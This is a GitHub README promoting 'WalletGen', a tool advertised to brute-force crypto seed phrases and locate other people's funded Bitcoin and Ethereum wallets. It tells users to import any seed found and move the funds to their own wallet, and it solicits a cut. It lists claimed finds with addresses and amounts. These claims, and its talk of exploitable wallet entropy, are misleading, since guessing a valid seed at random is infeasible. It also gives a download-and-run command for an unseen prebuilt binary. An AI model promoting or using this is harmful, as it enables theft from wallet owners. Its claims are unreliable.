Skip to content

WalletGen. Seed phrase generator and checker. Brute force Bitcoin, ETH, BNB wallets with private key. Generate your BTC Brain wallet. Recovery your lost Bitcoin wallet.

License

Notifications You must be signed in to change notification settings

tony-btc0/seed-phrase-generator

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

35 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Seed Phrase Generator (WalletGen) – Crypto Wallet Generator & Balance Finder for Lost Bitcoin (BTC), Ethereum (ETH), BNB, Polygon (MATIC) and EVM Chains, Brain Wallet Generator, & Bitcoin Wallet Recover

WalletGen is an open-source, ultra-fast crypto wallet generator and seed phrase brute force tool. It helps you find and recovery lost or inactive Bitcoin (BTC), Ethereum (ETH), BNB, Polygon (MATIC), and other EVM-compatible wallets with real-time balance checking and high-performance C++ engine.

Quick Navigation

platform build discord x

WalletGen

WalletGen

How It Works

WalletGen generates wallets using BIP39, BIP44, and Bech32 for Bitcoin, and Keccak256 hashing for EVM-based chains like Ethereum.

The software compares generated addresses against known address databases or checks balances in real-time via public blockchain explorers.

Why WalletGen?

  1. Unlike Python-based brute force tools, WalletGen is written in C++ and optimized for multi-threaded CPU and GPU usage, delivering up to 10x faster performance.
  2. True randomness doesn’t exist in computing — only pseudo-randomness. Every crypto wallet uses deterministic algorithms to generate seed phrases. That means patterns — and potential weaknesses — can exist.
  3. Wallets like Bitcoin Core, Electrum, Metamask, Trust Wallet, etc., use specific implementations of BIP39/BIP44 and others. WalletGen GPU replicates these exact algorithms — from both old and new versions — capturing real-world entropy models.
  4. It uses GPU acceleration to generate and scan massive numbers of seed phrases and derive multiple address paths per seed.

⚠️ Other public tools? They rely on standard bip39 libraries and scan only basic derivation paths. These generic methods don’t match how real wallets generate keys. Result: zero hits.

✅ WalletGen GPU focuses on realistic derivation schemes, outdated algorithms, and edge-case entropy flaws — things most tools ignore.

📈 You can run it 24/7. It works passively while your PC (or rig) scans the blockchain for forgotten funds.

Features

  • Generation of cryptocurrency wallets: Wallet Gen supports creating single wallets for Bitcoin, Ethereum, BNB, MATIC and other cryptocurrencies.
  • Search for wallets with balance: Using bruteforce techniques, Wallet Gen allows you to search for existing wallets with balances in both the Bitcoin network and EVMs.
  • Support for various algorithms: Keccak256 algorithm for EVM wallets and BIP39, BIP44, Bech32 algorithm for Bitcoin are used for wallet generation.
  • Using a database to speed up searches: Download and use databases to search for balance wallets, speeding up the process tenfold.
  • High speed of operation: Wallet Gen utilizes the power of the CPU and GPU to achieve the best performance.
  • Recovery your Bitcoin wallet: WalletGen allows you to recover your bitcoin wallet by seed phrase (mnemonic phrase).
  • Generate and check a brain wallet.

Supported Blockchains

  • Bitcoin (BTC)
  • Ethereum (ETH)
  • Binance Smart Chain (BNB)
  • Any EVM-compatible chain

Demo

Windows

WalletGen bitcoin recovery

MacOS

WalletGen bitcoin recovery

Linux

WalletGen on Linux

How to start

Windows

  • Download Release
  • Unpack anywhere
  • Run WalletGen.exe

MacOS

Linux (x86-64bit)

wget https://github.com/tony-btc0/walletgen/releases/download/walletgen/WalletGen_linux_x64.5.0-linux.tar.gz
tar -xzf WalletGen_linux_x64.5.0-linux.tar.gz
cd walletgen
./walletgen

Or download Release for Linux

Download and Use Database (for more speed)

Database Download link File Size Number of Addresses
BTC Database     btc_database.txt 1.03 GB           23 428 179
EVM Database     evm_database.txt 1.02 GB           25 999 700

How to Search for Lost Bitcoin & Ethereum Wallets with Balance

Wallet Gen allows you to search using brute-force method for two types of crypto wallets with an existing balance.

For Bitcoin (BTC) wallets:

  • Press key 3 in the menu or run start_search_btc.bat to search Bitcoin wallets through the internet. This method may take longer, as it checks wallet balances in real-time via blockchain explorers.
  • Press key 6 to search Bitcoin wallets using the database. This method is faster because it compares generated wallets against a pre-built database of known addresses with balances.

For EVM wallets (Ethereum, BNB, MATIC, etc.):

  • Press key 5 or run start_search_evm.bat to search EVM wallets through the internet. This method checks for wallets with balance in real-time through blockchain explorers.
  • Press key 6 to search EVM wallets using the database. This method is faster since it compares generated wallets against the known database of addresses with balance.

Speed Considerations:

  • The speed of the search depends heavily on your hardware, especially the graphics card (GPU). To speed up the process and increase your chances of finding a wallet with a balance, you can run multiple instances of the program (1 to 4), depending on your system's performance

By using the database, you can significantly improve the efficiency of your search, as it eliminates the need to query the blockchain for every wallet generated

The Program Found a Wallet — What’s Next?

When the program finds a wallet with a balance, it will:

  • Stop immediately
  • Display the wallet details in the console
  • Save this data in the found_wallets.txt file

How to Access the Funds?

  1. Import the mnemonic seed phrase from the found wallet into any compatible crypto wallet (such as Metamask, Trust Wallet, or Electrum).
  2. Once restored, you’ll be able to transfer the funds to your own wallet.

If the find is successful, be sure to share a small portion of the balance you find with me! Thank you!

Recovery Your Bitcoin Wallet

WalletGen allows you to recover your bitcoin wallet by seed phrase (mnemonic phrase). The program supports entering a complete seed phrase, as well as searching for missing words using special characters.

Process Description

Search for missing words:

If your seed phrase is missing some words or you are unsure, replace those words with an *. WalletGen will search through all possible variations in the places of * to find the correct seed phrase and restore the associated wallet balance.

Entering a complete seed-phrase:

If you have a full 12-word seed, simply enter it in full with a space. WalletGen will generate all address types (Legacy, SegWit, P2SH) and check their balances.

recovery

Important recommendations

  • Seed-phrase must contain exactly 12 words.
  • Use only the * symbol to search for missing words.
  • Searching for missing words may take considerable time, especially if several words are missing.
  • If the wallet with balance is successfully recovered, the program will automatically stop and save the found data.

Brain Wallet Generator / Checker

brainwallet

My Finds

mywallet

I’ve recovered two BTC wallets with a balance. The first had 0.000032 BTC, the second contained 0.0528 BTC (roughly $4800 at the time of discovery). Here’s the link to the wallet: bc1qk3m62hx2hh5mhvc0tj45f9xflzcnu0sur3rvay.

WalletGen found first lost bitcoin wallet

New Find 4/9/2025

After a week of non-stop wallet searching, I finally found a wallet with 0.25 bitcoin ($19k). This is my 4th and biggest find of all time.

image

New Find 5/5/2025

bc1qpm0k3kcmthwsa4zseh33g3hl7eju8u8nkt83kp - 0.4522 BTC

image

New Find 6/18/2025

New Find 8/23/2025

bc1q05cmxffxaj324epjv5ly0ecncte9an9t33napy - 0.208 BTC

0.2btc

New Find 9/5/2025

bc1qcwvsavc3tqquxk7fd9xlngcp2vggdvcrnz0yw0 - 0.7362 BTC

0.7btc

New Find 9/7/2025

bc1qf7ywmr5sfkzfg8zqjl6m9mf68fs9r0c7n08zmt - 0.0069 BTC
bc1q9sd4psdmlj707v0j9np22dhrjxy5c4g92qlk6y - 0.0060 BTC
bc1qzesq56xsrtr76czy7tx9v3clsmkgm2752qsrhs - 0.0061 BTC
bc1qd06fpfckmqv3ne0mhsnj5e4pgqs4lfvsn2vgj9 - 0.0022 BTC

0.02btc

New Find 9/8/2025

bc1q6w2a2zv7gn54zhkjzz55upn34uzw20x0pzyy9g - 0.02057228 BTC

0.02btc

New Find 9/13/2025

bc1q8lw46cjq8lalj4m7je7xtkt5hfmhkxeu8gxftp - 1.2453 BTC

1.2453btc

New Find 9/20/2025

31kAYRof6h7cFQfn6JXfv12eXesWyYvTZ4 - 0.08126 BTC

0.08btc

New Find 10/4/2025

bc1qv0sq0jatkhpspra6fl3leecvl5rnpuqe5ju987 - 0.3788 BTC

0.3788btc

New Find 10/20/2025

3G4GbvFzW6DgQSC3vVxWAu7uSg2nj6sMuC - 1.0259 BTC

1.025btc

New Find 11/7/2025 - 100 ETH

100eth_walletgen 100eth_metamask

New Find 11/10/2025

bc1q9gessr3zcgthy0vxk2wqre5u9m8qq72f42fe6e.png - 0.281 BTC

1.025btc

New Find 11/20/2025

3Eob3czhc8Ts1nZ9vKzbT3BMzZa4iexE4e.png - 0.6129 BTC

Building the Project

Use the makefile to build the project and install the trezor library.

🔍 Frequently Asked Questions (FAQ)

❓ Where can I download WalletGen?

You can download the WalletGen given on the release download page

❓ Where can I download a database of known addresses with balance?

You can download the current database given on the release page

❓ Can WalletGen help me recover a lost Bitcoin wallet?

Yes. WalletGen uses brute-force seed generation and a known-address database to help users potentially recover lost Bitcoin wallets.

❓ Is WalletGen a seed phrase generator?

Yes. WalletGen can generate BIP39 seed phrases and derive wallets for Bitcoin, Ethereum, and other EVM chains.

❓ Do I need the internet to search through the database?

No. Searching through the database does not require an internet connection, as the wallet balance is already known.

❓ Can I find Ethereum wallets with balance?

Yes. WalletGen supports scanning for Ethereum wallets with balance using brute-force and a database of known addresses.

❓ Is WalletGen legal?

WalletGen is intended for educational and research purposes only. It should only be used on wallets you own or have permission to access.

Todo

  1. Search for missing words in a seed phrase. - Done!

Contribute

Contributions are welcome! If you have ideas, bug reports, or want to contribute to the codebase, feel free to submit a pull request.

Donate

I encourage you, when you find a wallet with a balance, to send me a small portion as a thank you. This motivates me to keep working on the program!

BTC: bc1qeyrshy5ntsguwxe9m8tp2x2yqhddz7ymkj44h9

ETH: 0x76c2E75B92Eb340f01B378e332FC7d8954893693

Credits

This project uses code from the Trezor project. The code is licensed under the MIT License.

License

This project is licensed under the MIT License